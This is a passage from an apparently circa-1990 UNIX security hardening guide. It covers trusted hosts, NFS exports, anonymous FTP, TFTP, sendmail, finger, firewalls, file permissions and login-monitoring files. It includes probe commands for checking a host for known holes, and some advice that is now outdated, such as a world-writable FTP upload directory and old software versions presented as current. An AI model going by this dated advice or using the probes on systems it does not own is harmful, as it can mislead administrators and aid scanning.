
                                         12

                 As trends  toward  internetworking  continue,  most  sites
            will, if they haven't already, connect themselves to one of the
            numerous regional networks springing  up  around  the  country.
            Most  of these regional networks are also interconnected, form-
            ing the Internet [Hind83, Quar86].  This means that  the  users
            of  your  machine  can  access other hosts and communicate with
            other users around the world.   Unfortunately,  it  also  means
            that  other  hosts  and  users from around the world can access
            your machine, and attempt to break into it.

                 Before internetworking became  commonplace,  protecting  a
            system  from  unauthorized  access  simply  meant  locking  the
            machine in a room by itself.  Now that machines  are  connected
            by networks, however, security is much more complex.  This sec-
            tion describes the tools and methods  available  to  make  your
            UNIX networks as secure as possible.

          2.2.1   Trusted Hosts

                 One of the most convenient features of the  Berkeley  (and
            Sun)  UNIX  networking  software  is the concept of ``trusted''
            hosts.  The software allows the specification  of  other  hosts
            (and  possibly users) who are to be considered trusted - remote
            logins and remote command executions from these hosts  will  be
            permitted without requiring the user to enter a password.  This
            is very convenient, because users do not  have  to  type  their
            password  every  time they use the network.  Unfortunately, for
            the same  reason,  the  concept  of  a  trusted  host  is  also
            extremely insecure.

                 The Internet worm made extensive use of the  trusted  host
            concept to spread itself throughout the network [Seel88].  Many
            sites that had already disallowed trusted hosts did fairly well
            against  the  worm  compared  with  those  sites that did allow
            trusted hosts.  Even though it is a security  hole,  there  are
            some  valid  uses  for  the trusted host concept.  This section
            describes how to properly implement the trusted hosts  facility
            while preserving as much security as possible.

          2.2.1.1   The hosts.equiv File

                 The file /etc/hosts.equiv [Sun88a, 1397] can  be  used  by
            the  system  administrator  to  indicate  trusted  hosts.  Each
            trusted host is listed in the file, one host per  line.   If  a
            user  attempts  to  log  in (using rlogin) or execute a command
            (using  rsh)  remotely  from  one  of  the  systems  listed  in

                                         13

            hosts.equiv,  and  that user has an account on the local system
            with the same login name, access is permitted without requiring
            a password.

                 Provided adequate care is taken to allow only local  hosts
            in  the hosts.equiv file, a reasonable compromise between secu-
            rity and convenience can be achieved.  Nonlocal hosts  (includ-
            ing  hosts  at  remote  sites  of the same organization) should
            never be trusted.  Also, if there  are  any  machines  at  your
            organization that are installed in ``public'' areas (e.g., ter-
            minal rooms) as opposed to  private  offices,  you  should  not
            trust these hosts.

                 On Sun systems, hosts.equiv is controlled with the  Yellow
            Pages  software.   As distributed, the default hosts.equiv file
            distributed by Sun contains a single line:

                    +

            This indicates that every known host (i.e., the  complete  con-
            tents  of  the  host file) should be considered a trusted host.
            This is totally incorrect and  a  major  security  hole,  since
            hosts  outside  the local organization should never be trusted.
            A  correctly  configured  hosts.equiv  should  never  list  any
            ``wildcard''  hosts  (such  as  the  ``+''); only specific host
            names should be used.  When installing a new  system  from  Sun
            distribution  tapes,  you  should be sure to either replace the
            Sun default hosts.equiv with a  correctly  configured  one,  or
            delete the file altogether.

          2.2.1.2   The .rhosts File

                 The .rhosts file [Sun88a, 1397] is similar in concept  and
            format  to the hosts.equiv file, but allows trusted access only
            to specific host-user combinations, rather  than  to  hosts  in
            general.*  Each user may create a  .rhosts  file  in  his  home
            directory,  and allow access to her account without a password.
            Most people use this mechanism to allow trusted access  between
            accounts  they have on systems owned by different organizations
            who do not trust each other's  hosts  in  hosts.equiv.   Unfor-
            tunately,  this  file presents a major security problem:  While
            hosts.equiv is under the system administrator's control and can
            be  managed  effectively,  any  user  may create a .rhosts file
            granting access to whomever  he  chooses,  without  the  system
            administrator's knowledge.
          _________________________
             Actually,  hosts.equiv  may  be  used  to  specify  host-user
          combinations as well, but this is rarely done.

                                         14

                 The only secure way to manage .rhosts  files  is  to  com-
            pletely  disallow them on the system.  The system administrator
            should check the system often for  violations  of  this  policy
            (see  Section 3.3.1.4).  One possible exception to this rule is
            the ``root'' account; a .rhosts file may be necessary to  allow
            network backups and the like to be completed.

          2.2.2   Secure Terminals

                 Under newer versions of UNIX, the concept of a  ``secure''
            terminal  has  been  introduced.   Simply  put,  the super-user
            (``root'') may not log in on a nonsecure terminal, even with  a
            password.   (Authorized  users  may still use the su command to
            become super-user, however.)   The  file  /etc/ttytab  [Sun88a,
            1478]  is  used  to  control  which  terminals  are  considered
            secure.| A short excerpt from this file is shown below.

                    console  "/usr/etc/getty std.9600"  sun      off secure
                    ttya     "/usr/etc/getty std.9600"  unknown  off secure
                    ttyb     "/usr/etc/getty std.9600"  unknown  off secure
                    ttyp0    none                       network  off secure
                    ttyp1    none                       network  off secure
                    ttyp2    none                       network  off secure

            The keyword ``secure'' at the end of each line  indicates  that
            the terminal is considered secure.  To remove this designation,
            simply edit the file and delete the ``secure'' keyword.   After
            saving the file, type the command (as super-user):

                    # kill -HUP 1

            This tells the init process to reread the ttytab file.

                 The Sun default configuration for ttytab  is  to  consider
            all  terminals  secure,  including ``pseudo'' terminals used by
            the remote login software.  This means that ``root'' may log in
            remotely  from  any  host on the network.  A more secure confi-
            guration would consider as secure only directly connected  ter-
            minals,  or  perhaps only the console device.  This is how file
            servers and other machines with disks should be set up.

                 The most secure configuration is to remove the  ``secure''
            designation  from  all terminals, including the console device.
            This requires that those users with super-user authority  first
            log in as themselves, and then become the super-user via the su
          _________________________
            | Under non-Sun versions of Berkeley UNIX, this file is  called
          /etc/ttys.

                                         15

            command.  It also requires the ``root'' password to be  entered
            when  rebooting  in single-user mode, in order to prevent users
            from rebooting their desktop workstations and obtaining  super-
            user  access.   This is how all diskless client machines should
            be set up.

          2.2.3   The Network File System

                 The Network File System  (NFS)  [Sun88d]  is  designed  to
            allow  several  hosts  to share files over the network.  One of
            the most common uses of NFS is to allow  diskless  workstations
            to be installed in offices, while keeping all disk storage in a
            central location.  As distributed by Sun, NFS has  no  security
            features enabled.  This means that any host on the Internet may
            access your files via NFS, regardless of whether you trust them
            or not.

                 Fortunately, there are several easy ways to make NFS  more
            secure.   The  more commonly used methods are described in this
            section, and these can be used to make your files quite  secure
            from  unauthorized  access  via NFS.  Secure NFS, introduced in
            SunOS Release 4.0,  takes  security  one  step  further,  using
            public-key  encryption  techniques to ensure authorized access.
            Discussion of secure NFS is deferred until Section 4.

          2.2.3.1   The exports File

                 The file /etc/exports [Sun88a, 1377] is perhaps one of the
            most  important  parts  of  NFS configuration.  This file lists
            which file systems are exported (made available  for  mounting)
            to  other  systems.  A typical exports file as installed by the
            Sun installation procedure looks something like this:

                    /usr
                    /home
                    /var/spool/mail
                    #
                    /export/root/client1    -access=client1,root=client1
                    /export/swap/client1    -access=client1,root=client1
                    #
                    /export/root/client2    -access=client2,root=client2
                    /export/swap/client2    -access=client2,root=client2

            The root= keyword specifies the list of hosts that are  allowed
            to  have  super-user  access  to  the  files  in the named file
            system.   This  keyword  is  discussed  in  detail  in  Section

                                         16

            2.2.3.3.   The  access=  keyword  specifies  the  list of hosts
            (separated by colons) that are allowed to mount the named  file
            system.   If no access= keyword is specified for a file system,
            any host anywhere on the network may mount that file system via
            NFS.

                 Obviously, this presents a major security  problem,  since
            anyone  who can mount your file systems via NFS can then peruse
            them at her leisure.  Thus, it is important that all file  sys-
            tems  listed in exports have an access= keyword associated with
            them.  If you have only a few hosts which  must  mount  a  file
            system, you can list them individually in the file:

                    /usr    -access=host1:host2:host3:host4:host5

            However, because the maximum number of hosts that can be listed
            this  way is ten, the access= keyword will also allow netgroups
            to be specified.  Netgroups are described in the next section.

                 After making any changes to the exports file,  you  should
            run the command

                    # exportfs -a

            in order to make the changes take effect.

          2.2.3.2   The netgroup File

                 The file /etc/netgroup [Sun88a, 1407] is  used  to  define
            netgroups.   This  file is controlled by Yellow Pages, and must
            be rebuilt in the Yellow Pages maps whenever  it  is  modified.
            Consider the following sample netgroup file:

                    A_Group      (servera,,) (clienta1,,) (clienta2,,)

                    B_Group      (serverb,,) (clientb1,,) (clientb2,,)

                    AdminStaff   (clienta1,mary,) (clientb3,joan,)

                    AllSuns      A_Group B_Group

            This file defines  four  netgroups,  called  A_Group,  B_Group,
            AdminStaff,  and  AllSuns.   The AllSuns netgroup is actually a
            ``super group'' containing all the members of the  A_Group  and
            B_Group netgroups.

                 Each member of a netgroup is defined as a  triple:  (host,
            user,  domain).  Typically, the domain field is never used, and
            is simply left blank.  If either the host or user field is left

                                         17

            blank,  then any host or user is considered to match.  Thus the
            triple (host,,) matches any user on the named host,  while  the
            triple (,user,) matches the named user on any host.

                 Netgroups are useful when restricting access to  NFS  file
            systems via the exports file.  For example, consider this modi-
            fied version of the file from the previous section:

                    /usr                    -access=A_Group
                    /home                   -access=A_Group:B_Group
                    /var/spool/mail         -access=AllSuns
                    #
                    /export/root/client1    -access=client1,root=client1
                    /export/swap/client1    -access=client1,root=client1
                    #
                    /export/root/client2    -access=client2,root=client2
                    /export/swap/client2    -access=client2,root=client2

            The /usr file system may now only be mounted by  the  hosts  in
            the A_Group netgroup, that is, servera, clienta1, and clienta2.
            Any other host that  tries  to  mount  this  file  system  will
            receive  an ``access denied'' error.  The /home file system may
            be mounted by any of the hosts in either the A_Group or B_Group
            netgroups.   The /var/spool/mail file system is also restricted
            to these hosts, but in this example we used the ``super group''
            called AllSuns.

                 Generally, the best way to configure the netgroup file  is
            to make a single netgroup for each file server and its clients,
            and then to make other super groups,  such  as  AllSuns.   This
            allows  you  the  flexibility  to specify the smallest possible
            group of hosts for each file system in /etc/exports.

                 Netgroups can also be used in the password file  to  allow
            access  to a given host to be restricted to the members of that
            group, and they can be used in the hosts.equiv file to central-
            ize  maintenance  of the list of trusted hosts.  The procedures
            for doing this are defined in more detail in the Sun manual.

          2.2.3.3   Restricting Super-User Access

                 Normally, NFS translates the super-user id to a special id
            called ``nobody'' in order to prevent a user with ``root'' on a
            remote workstation from accessing other people's  files.   This
            is  good  for  security,  but  sometimes  a nuisance for system
            administration, since you  cannot  make  changes  to  files  as
            ``root'' through NFS.

                 The exports file  also  allows  you  to  grant  super-user

                                         18

            access  to  certain file systems for certain hosts by using the
            root= keyword.  Following this keyword a  colon-separated  list
            of  up  to  ten  hosts  may  be  specified; these hosts will be
            allowed to access the file system as  ``root''  without  having
            the  user  id  converted  to  ``nobody.''  Netgroups may not be
            specified to the root= keyword.

                 Granting ``root'' access to a  host  should  not  be  done
            lightly.   If a host has ``root'' access to a file system, then
            the super-user on that host will have complete  access  to  the
            file system, just as if you had given him the ``root'' password
            on the server.  Untrusted hosts should never be given  ``root''
            access to NFS file systems.

          2.2.4   FTP

                 The File Transfer Protocol, implemented  by  the  ftp  and
            ftpd  programs  [Sun88a,  195-201,  1632-1634], allows users to
            connect to remote systems and transfer files  back  and  forth.
            Unfortunately,  older  versions  of  these  programs  also  had
            several bugs in them that allowed crackers to break into a sys-
            tem.   These bugs have been fixed by Berkeley, and new versions
            are available.  If your  ftpd*  was  obtained  before  December
            1988, you should get a newer version (see Section 4).

                 One  of  the  more  useful  features   of   FTP   is   the
            ``anonymous''  login.   This  special login allows users who do
            not have an account on your machine to have  restricted  access
            in  order to transfer files from a specific directory.  This is
            useful if you wish to distribute  software  to  the  public  at
            large  without  giving  each  person  who wants the software an
            account on your machine.  In order to securely set up anonymous
            FTP you should follow the specific instructions below:

                 1.   Create  an  account  called  ``ftp.''   Disable   the
                      account  by  placing  an asterisk (*) in the password
                      field.  Give the account a  special  home  directory,
                      such as /usr/ftp or /usr/spool/ftp.

                 2.   Make the home directory owned by ``ftp'' and  unwrit-
                      able by anyone:

                              # chown ftp ~ftp
                              # chmod 555 ~ftp

          _________________________
            * On Sun systems, ftpd is stored in the file  /usr/etc/in.ftpd.
          On most other systems, it is called /etc/ftpd.

                                         19

                 3.   Make the directory ~ftp/bin, owned by the  super-user
                      and  unwritable  by  anyone.   Place a copy of the ls
                      program in this directory:

                              # mkdir ~ftp/bin
                              # chown root ~ftp/bin
                              # chmod 555 ~ftp/bin
                              # cp -p /bin/ls ~ftp/bin
                              # chmod 111 ~ftp/bin/ls

                 4.   Make the directory ~ftp/etc, owned by the  super-user
                      and  unwritable by anyone.  Place copies of the pass-
                      word and group files in this directory, with all  the
                      password  fields  changed  to asterisks (*).  You may
                      wish to delete all but a  few  of  the  accounts  and
                      groups  from  these files; the only account that must
                      be present is ``ftp.''

                              # mkdir ~ftp/etc
                              # chown root ~ftp/etc
                              # chmod 555 ~ftp/etc
                              # cp -p /etc/passwd /etc/group ~ftp/etc
                              # chmod 444 ~ftp/etc/passwd ~ftp/etc/group

                 5.   Make the directory ~ftp/pub,  owned  by  ``ftp''  and
                      world-writable.   Users may then place files that are
                      to be accessible via anonymous FTP in this directory:

                              # mkdir ~ftp/pub
                              # chown ftp ~ftp/pub
                              # chmod 777 ~ftp/pub

                 Because the anonymous FTP feature allows anyone to  access
            your  system  (albeit  in a very limited way), it should not be
            made available on every host  on  the  network.   Instead,  you
            should  choose  one  machine (preferably a server or standalone
            host) on which to allow this service.   This  makes  monitoring
            for  security  violations  much easier.  If you allow people to
            transfer files to your machine (using  the  world-writable  pub
            directory,  described  above),  you should check often the con-
            tents of the directories into which they are allowed to  write.
            Any suspicious files you find should be deleted.

          2.2.4.1   Trivial FTP

                 The Trivial File Transfer Protocol, TFTP, is used  on  Sun

                                         20

            workstations  (and others) to allow diskless hosts to boot from
            the network.  Basically, TFTP is a stripped-down version of FTP
            -  there is no user authentication, and the connection is based
            on the User Datagram Protocol instead of the Transmission  Con-
            trol  Protocol.  Because they are so stripped-down, many imple-
            mentations of TFTP have security holes.  You should check  your
            hosts by executing the command sequence shown below.

                    % tftp
                    tftp> connect yourhost
                    tftp> get /etc/motd tmp
                    Error code 1: File not found
                    tftp> quit
                    %

            If your version does not respond with ``File not  found,''  and
            instead  transfers the file, you should replace your version of
            tftpd* with a newer one.   In  particular,  versions  of  SunOS
            prior to release 4.0 are known to have this problem.

          2.2.5   Mail

                 Electronic mail is one of the main reasons for  connecting
            to outside networks.  On most versions of Berkeley-derived UNIX
            systems,  including  those  from  Sun,  the  sendmail   program
            [Sun88a,  1758-1760;  Sun88b,  441-488]  is  used to enable the
            receipt and delivery of mail.  As with the FTP software,  older
            versions of sendmail have several bugs that allow security vio-
            lations.  One of these bugs was used with great success by  the
            Internet  worm  [Seel88, Spaf88].  The current version of send-
            mail from Berkeley is version 5.61, of January 1989.   Sun  is,
            as  of  this  writing, still shipping version 5.59, which has a
            known security problem.  They have, however, made a fixed  ver-
            sion  available.   Section  4 details how to obtain these newer
            versions.

                 Generally, with the exception of the security  holes  men-
            tioned  above,  sendmail is reasonably secure when installed by
            most vendors' installation procedures.  There are,  however,  a
            few  precautions  that  should be taken to ensure secure opera-
            tion:

                 1.   Remove the ``decode'' alias  from  the  aliases  file
                      (/etc/aliases or /usr/lib/aliases).
          _________________________
            * On   Sun   systems,   tftpd   is   stored   in    the    file
          /usr/etc/in.tftpd.    On   most   other  systems,  it  is  called
          /etc/tftpd.

                                         21

                 2.   If you create aliases that allow messages to be  sent
                      to  programs, be absolutely sure that there is no way
                      to obtain a shell or send commands to  a  shell  from
                      these programs.

                 3.   Make sure the ``wizard'' password is disabled in  the
                      configuration  file, sendmail.cf.  (Unless you modify
                      the distributed configuration files,  this  shouldn't
                      be a problem.)

                 4.   Make  sure  your  sendmail  does  not   support   the
                      ``debug'' command.  This can be done with the follow-
                      ing commands:

                      % telnet localhost 25
                      220 yourhost Sendmail 5.61 ready at 9 Mar 90 10:57:36 PST
                      debug
                      500 Command unrecognized
                      quit
                      %

                      If your sendmail responds to  the  ``debug''  command
                      with  ``200  Debug  set,'' then you are vulnerable to
                      attack and should replace your sendmail with a  newer
                      version.

            By following the procedures above, you can be  sure  that  your
            mail system is secure.

          2.2.6   Finger

                 The ``finger'' service, provided  by  the  finger  program
            [Sun88a,  186-187],  allows  you  to obtain information about a
            user such as her full name, home directory,  last  login  time,
            and  in  some cases when she last received mail and/or read her
            mail.  The fingerd  program  [Sun88a,  1625]  allows  users  on
            remote hosts to obtain this information.

                 A bug in fingerd was also exercised with  success  by  the
            Internet worm [Seel88, Spaf88].  If your version of fingerd* is
            older than November 5, 1988, it should be replaced with a newer
            version.  New  versions  are  available  from  several  of  the
            sources described in Section 4.

          _________________________
            * On Sun systems, fingerd is stored in /usr/etc/in.fingerd.  On
          most other systems, it is called /etc/fingerd.

                                         22

          2.2.7   Modems and Terminal Servers

                 Modems and  terminal  servers  (terminal  switches,  Annex
            boxes,  etc.) present still another potential security problem.
            The main problem with these devices is one of  configuration  -
            misconfigured hardware can allow security breaches.  Explaining
            how to configure every brand of modem and terminal server would
            require  volumes.   However,  the  following  items  should  be
            checked for on any modems or terminal servers installed at your
            site:

                 1.   If a user dialed up to a modem hangs  up  the  phone,
                      the  system should log him out.  If it doesn't, check
                      the hardware connections and the kernel configuration
                      of the serial ports.

                 2.   If a user logs off, the system should force the modem
                      to hang up.  Again, check the hardware connections if
                      this doesn't work.

                 3.   If the connection from a terminal server to the  sys-
                      tem is broken, the system should log the user off.

                 4.   If the terminal server is connected  to  modems,  and
                      the  user hangs up, the terminal server should inform
                      the system that the user has hung up.

                 Most modem and terminal server manuals cover in detail how
            to  properly connect these devices to your system.  In particu-
            lar you should pay close attention to the  ``Carrier  Detect,''
            ``Clear to Send,'' and ``Request to Send'' connections.

          2.2.8   Firewalls

                 One of the newer ideas in network security is  that  of  a
            firewall.   Basically,  a  firewall is a special host that sits
            between  your  outside-world  network  connection(s)  and  your
            internal  network(s).   This  host  does  not  send out routing
            information about your internal network, and thus the  internal
            network is ``invisible'' from the outside.  In order to config-
            ure a firewall machine, the following considerations need to be
            taken:

                 1.   The firewall does not advertise routes.   This  means
                      that users on the internal network must log in to the
                      firewall in order to access hosts on remote networks.
                      Likewise,  in  order  to  log  in  to  a  host on the

                                         23

                      internal network from the outside, a user must  first
                      log  in  to  the  firewall  machine.   This is incon-
                      venient, but more secure.

                 2.   All electronic mail sent by your users must  be  for-
                      warded  to  the  firewall  machine  if  it  is  to be
                      delivered  outside  your   internal   network.    The
                      firewall  must  receive all incoming electronic mail,
                      and then redistribute it.  This can  be  done  either
                      with aliases for each user or by using name server MX
                      records.

                 3.   The firewall machine should not mount any  file  sys-
                      tems  via NFS, or make any of its file systems avail-
                      able to be mounted.

                 4.   Password security on the  firewall  must  be  rigidly
                      enforced.

                 5.   The firewall host should not trust  any  other  hosts
                      regardless  of  where  they  are.   Furthermore,  the
                      firewall should not be trusted by any other host.

                 6.   Anonymous FTP and other similar services should  only
                      be  provided  by  the firewall host, if they are pro-
                      vided at all.

                 The purpose of the firewall is to  prevent  crackers  from
            accessing other hosts on your network.  This means, in general,
            that you must maintain strict and rigidly enforced security  on
            the  firewall,  but  the  other  hosts are less vulnerable, and
            hence security may be somewhat lax.  But  it  is  important  to
            remember  that  the  firewall  is  not  a complete cure against
            crackers - if a cracker can break into the firewall machine, he
            can then try to break into any other host on your network.

          2.3   FILE SYSTEM SECURITY

                 The last defense against system crackers are  the  permis-
            sions  offered  by the file system.  Each file or directory has
            three sets of permission bits associated with it:  one set  for
            the  user who owns the file, one set for the users in the group
            with which the file is associated, and one set  for  all  other
            users  (the  ``world''  permissions).   Each set contains three
            identical permission bits, which control the following:

                 read     If set, the file or directory may  be  read.   In
                          the  case  of  a  directory, read access allows a
                          user to see the  contents  of  a  directory  (the

                                         24

                          names of the files contained therein), but not to
                          access them.

                 write    If set, the file  or  directory  may  be  written
                          (modified).   In  the  case of a directory, write
                          permission implies the ability to create, delete,
                          and  rename  files.   Note  that  the  ability to
                          remove a file is not controlled  by  the  permis-
                          sions  on the file, but rather the permissions on
                          the directory containing the file.

                 execute  If set, the file or  directory  may  be  executed
                          (searched).   In the case of a directory, execute
                          permission implies the ability  to  access  files
                          contained in that directory.

                 In addition, a fourth permission bit is available in  each
            set  of  permissions.  This bit has a different meaning in each
            set of permission bits:

                 setuid  If set in the owner permissions, this bit controls
                         the  ``set  user  id''  (setuid) status of a file.
                         Setuid status means that when a  program  is  exe-
                         cuted,  it  executes  with  the permissions of the
                         user owning the program, in addition to  the  per-
                         missions  of  the user executing the program.  For
                         example, sendmail is setuid ``root,'' allowing  it
                         to  write files in the mail queue area, which nor-
                         mal users are not allowed  to  do.   This  bit  is
                         meaningless on nonexecutable files.

                 setgid  If set in the group permissions, this bit controls
                         the  ``set  group  id'' (setgid) status of a file.
                         This behaves in exactly the same way as the setuid
                         bit, except that the group id is affected instead.
                         This bit is meaningless  on  non-executable  files
                         (but see below).

                 sticky  If set in the world  permissions,  the  ``sticky''
                         bit  tells  the  operating  system  to  do special
                         things with the text image of an executable  file.
                         It  is  mostly  a  holdover from older versions of
                         UNIX, and has little if any use today.   This  bit
                         is  also  meaningless  on nonexecutable files (but
                         see below).

          2.3.1   Setuid Shell Scripts

               Shell scripts that have the setuid or  setgid  bits  set  on

                                         25

          them  are not secure, regardless of how many safeguards are taken
          when writing them.  There are numerous software  packages  avail-
          able  that  claim  to  make  shell  scripts secure, but every one
          released so far has not managed to solve all the problems.

               Setuid and setgid shell scripts should never be  allowed  on
          any UNIX system.

          2.3.2   The Sticky Bit on Directories

               Newer versions of UNIX have attached a new  meaning  to  the
          sticky  bit.   When this bit is set on a directory, it means that
          users may not delete or rename other users' files in this  direc-
          tory.   This  is  typically  useful for the /tmp directory.  Nor-
          mally, /tmp  is  world-writable,  enabling  any  user  to  delete
          another  user's  files.  By setting the sticky bit on /tmp, users
          may only delete their own files from this directory.

               To set the sticky bit on a directory, use the command

                  # chmod o+t directory

          2.3.3   The Setgid Bit on Directories

               In SunOS 4.0, the setgid bit was also given a  new  meaning.
          Two  rules can be used for assigning group ownership to a file in
          SunOS:

               1.   The System V mechanism, which says that a  user's  pri-
                    mary  group id (the one listed in the password file) is
                    assigned to any file he creates.

               2.   The Berkeley mechanism, which says that the group id of
                    a file is set to the group id of the directory in which
                    it is created.

               If the setgid bit  is  set  on  a  directory,  the  Berkeley
          mechanism  is  enabled.   Otherwise,  the  System  V mechanism is
          enabled.  Normally, the Berkeley mechanism is used; this  mechan-
          ism must be used if creating directories for use by more than one
          member of a group (see Section 2.1.5).

               To set the setgid bit on a directory, use the command

                                         26

                  # chmod g+s directory

          2.3.4   The umask Value

               When a file is created by a program, say a text editor or  a
          compiler,  it  is typically created with all permissions enabled.
          Since this is rarely desirable (you don't want other users to  be
          able  to write your files), the umask value is used to modify the
          set of permissions a file is created with.  Simply put, while the
          chmod  command  [Sun88a,  65-66]  specifies  what  bits should be
          turned on, the umask value specifies what bits should  be  turned
          off.

               For example, the default umask on most systems is 022.  This
          means  that  write  permission  for the group and world should be
          turned off whenever a file is created.  If instead you wanted  to
          turn  off all group and world permission bits, such that any file
          you created would not be readable,  writable,  or  executable  by
          anyone except yourself, you would set your umask to 077.

               The umask value is specified in the .cshrc or .profile files
          read  by  the  shell  using the umask command [Sun88a, 108, 459].
          The ``root'' account should have the line

                  umask 022

          in its /.cshrc file, in order to prevent the accidental  creation
          of world-writable files owned by the super-user.

          2.3.5   Encrypting Files

               The standard UNIX crypt command [Sun88a, 95] is not  at  all
          secure.  Although it is reasonable to expect that crypt will keep
          the casual ``browser'' from reading a file, it will present noth-
          ing  more  than  a  minor  inconvenience to a determined cracker.
          Crypt implements a one-rotor machine along the lines of the  Ger-
          man  Enigma  (broken  in World War II).  The methods of attack on
          such a machine are well known, and a sufficiently large file  can
          usually  be  decrypted  in  a few hours even without knowledge of
          what the file contains [Reed84].   In  fact,  publicly  available
          packages  of  programs designed to ``break'' files encrypted with
          crypt have been around for several years.

               There are software implementations of another algorithm, the
          Data  Encryption  Standard  (DES),  available  on  some  systems.

                                         27

          Although this algorithm is much more secure than  crypt,  it  has
          never  been  proven  that  it  is totally secure, and many doubts
          about its security have been raised in recent years.

               Perhaps the best thing to say about encrypting  files  on  a
          computer system is this:  if you think you have a file whose con-
          tents are important enough to encrypt, then that file should  not
          be stored on the computer in the first place.  This is especially
          true of systems with limited security, such as UNIX  systems  and
          personal computers.

               It  is  important  to  note  that  UNIX  passwords  are  not
          encrypted  with  the  crypt program.  Instead, they are encrypted
          with a modified version of the DES that generates one-way encryp-
          tions  (that is, the password cannot be decrypted).  When you log
          in, the system does  not  decrypt  your  password.   Instead,  it
          encrypts  your  attempted  password, and if this comes out to the
          same result as encrypting your real password, you are allowed  to
          log in.

          2.3.6   Devices

               The security of devices is an important issue in UNIX.  Dev-
          ice files (usually residing in /dev) are used by various programs
          to access the data on the disk drives or  in  memory.   If  these
          device files are not properly protected, your system is wide open
          to a cracker.  The entire list of devices is too long to go  into
          here, since it varies widely from system to system.  However, the
          following guidelines apply to all systems:

               1.   The files /dev/kmem,  /dev/mem,  and  /dev/drum  should
                    never  be  readable  by the world.  If your system sup-
                    ports the notion of the ``kmem'' group (most newer sys-
                    tems  do) and utilities such as ps are setgid ``kmem,''
                    then these files should be owned by user  ``root''  and
                    group ``kmem,'' and should be mode 640.  If your system
                    does not support the notion of the ``kmem'' group,  and
                    utilities  such  as  ps are setuid ``root,'' then these
                    files should be owned by user ``root'' and mode 600.

               2.   The disk devices, such as /dev/sd0a, /dev/rxy1b,  etc.,
                    should  be  owned  by  user ``root'' and group ``opera-
                    tor,'' and should be mode 640.  Note that each disk has
                    eight  partitions  and two device files for each parti-
                    tion.  Thus, the disk ``sd0'' would have the  following
                    device files associated with it in /dev:

                                         28

                            sd0a     sd0e     rsd0a     rsd0e
                            sd0b     sd0f     rsd0b     rsd0f
                            sd0c     sd0g     rsd0c     rsd0g
                            sd0d     sd0h     rsd0d     rsd0h

               3.   With very few exceptions, all other devices  should  be
                    owned  by  user  ``root.''  One exception is terminals,
                    which are changed to be owned  by  the  user  currently
                    logged  in on them.  When the user logs out, the owner-
                    ship of the terminal is automatically changed  back  to
                    ``root.''

          2.4   SECURITY IS YOUR RESPONSIBILITY

               This section has detailed numerous tools for improving secu-
          rity  provided  by the UNIX operating system.  The most important
          thing to note about these tools is that although they are  avail-
          able,  they  are  typically not put to use in most installations.
          Therefore, it is incumbent on you, the system  administrator,  to
          take the time and make the effort to enable these tools, and thus
          to protect your system from unauthorized access.

                                         29

                                         30

                                      SECTION 3

                                 MONITORING SECURITY

               One of the most important tasks in keeping any computer sys-
          tem  secure  is  monitoring  the  security  of  the system.  This
          involves examining system log files for unauthorized accesses  of
          the  system, as well as monitoring the system itself for security
          holes.  This section describes the procedures for doing this.  An
          additional  part  of monitoring security involves keeping abreast
          of security problems found by others; this is described  in  Sec-
          tion 5.

          3.1   ACCOUNT SECURITY

               Account security should be monitored periodically  in  order
          to  check for two things: users logged in when they ``shouldn't''
          be (e.g., late at night, when they're  on  vacation,  etc.),  and
          users  executing  commands  they wouldn't normally be expected to
          use.  The commands described in  this  section  can  be  used  to
          obtain this information from the system.

          3.1.1   The lastlog File

               The file /usr/adm/lastlog [Sun88a, 1485]  records  the  most
          recent  login  time  for  each  user  of the system.  The message
          printed each time you log in, e.g.,

                  Last login: Sat Mar 10 10:50:48 from spam.itstd.sri.c

          uses the time stored in the lastlog file.  Additionally, the last
          login  time reported by the finger command uses this time.  Users
          should be told to carefully examine this time whenever  they  log
          in,  and  to report unusual login times to the system administra-
          tor.  This is an easy way to detect account break-ins, since each
          user should remember the last time she logged into the system.

          3.1.2   The utmp and wtmp Files

               The file /etc/utmp [Sun88a, 1485] is used to record  who  is

                                         31

          currently  logged  into  the  system.  This file can be displayed
          using the who command [Sun88a, 597]:

                  % who
                  hendra   tty0c   Mar 13 12:31
                  heidari  tty14   Mar 13 13:54
                  welgem   tty36   Mar 13 12:15
                  reagin   ttyp0   Mar 13 08:54   (aaifs.itstd.sri.)
                  ghg      ttyp1   Mar  9 07:03   (hydra.riacs.edu)
                  compion  ttyp2   Mar  1 03:01   (ei.ecn.purdue.ed)

          For each user, the login name, terminal being used,  login  time,
          and  remote  host  (if the user is logged in via the network) are
          displayed.

               The file /usr/adm/wtmp [Sun88a, 1485] records each login and
          logout  time  for  every  user.   This file can also be displayed
          using the who command:

                  % who /usr/adm/wtmp
                  davy     ttyp4    Jan  7 12:42 (annex01.riacs.ed)
                           ttyp4    Jan  7 15:33
                  davy     ttyp4    Jan  7 15:33 (annex01.riacs.ed)
                           ttyp4    Jan  7 15:35
                  hyder    ttyp3    Jan  8 09:07 (triceratops.itst)
                           ttyp3    Jan  8 11:43

          A line that contains a login name indicates  the  time  the  user
          logged  in; a line with no login name indicates the time that the
          terminal was logged off.  Unfortunately,  the  output  from  this
          command  is  rarely as simple as in the example above; if several
          users log in at once, the login and logout times  are  all  mixed
          together and must be matched up by hand using the terminal name.

               The wtmp file may also be examined using  the  last  command
          [Sun88a,  248].   This command sorts out the entries in the file,
          matching up login and logout  times.   With  no  arguments,  last
          displays  all  information  in the file.  By giving the name of a
          user or terminal, the output can be restricted to the information
          about  the  user or terminal in question.  Sample output from the
          last command is shown below.

          % last
          davy      ttyp3  intrepid.itstd.s Tue Mar 13 10:55 - 10:56 (00:00)
          hyder     ttyp3  clyde.itstd.sri. Mon Mar 12 15:31 - 15:36 (00:04)
          reboot    ~                       Mon Mar 12 15:16
          shutdown  ~                       Mon Mar 12 15:16
          arms      ttyp3  clyde0.itstd.sri Mon Mar 12 15:08 - 15:12 (00:04)
          hyder     ttyp3  spam.itstd.sri.c Sun Mar 11 21:08 - 21:13 (00:04)
          reboot    ~                       Sat Mar 10 20:05
          davy      ftp    hydra.riacs.edu  Sat Mar 10 13:23 - 13:30 (00:07)

                                         32

          For each login session, the user name, terminal used, remote host
          (if  the user logged in via the network), login and logout times,
          and session duration are shown.  Additionally, the times  of  all
          system  shutdowns  and  reboots  (generated  by  the shutdown and
          reboot commands  [Sun88a,  1727,  1765])  are  recorded.   Unfor-
          tunately,  system crashes are not recorded.  In newer versions of
          the operating system, pseudo logins such as  those  via  the  ftp
          command  are  also  recorded;  an example of this is shown in the
          last line of the sample output, above.

          3.1.3   The acct File

               The file /usr/adm/acct [Sun88a, 1344-1345] records each exe-
          cution of a command on the system, who executed it, when, and how
          long it took.  This information is logged  each  time  a  command
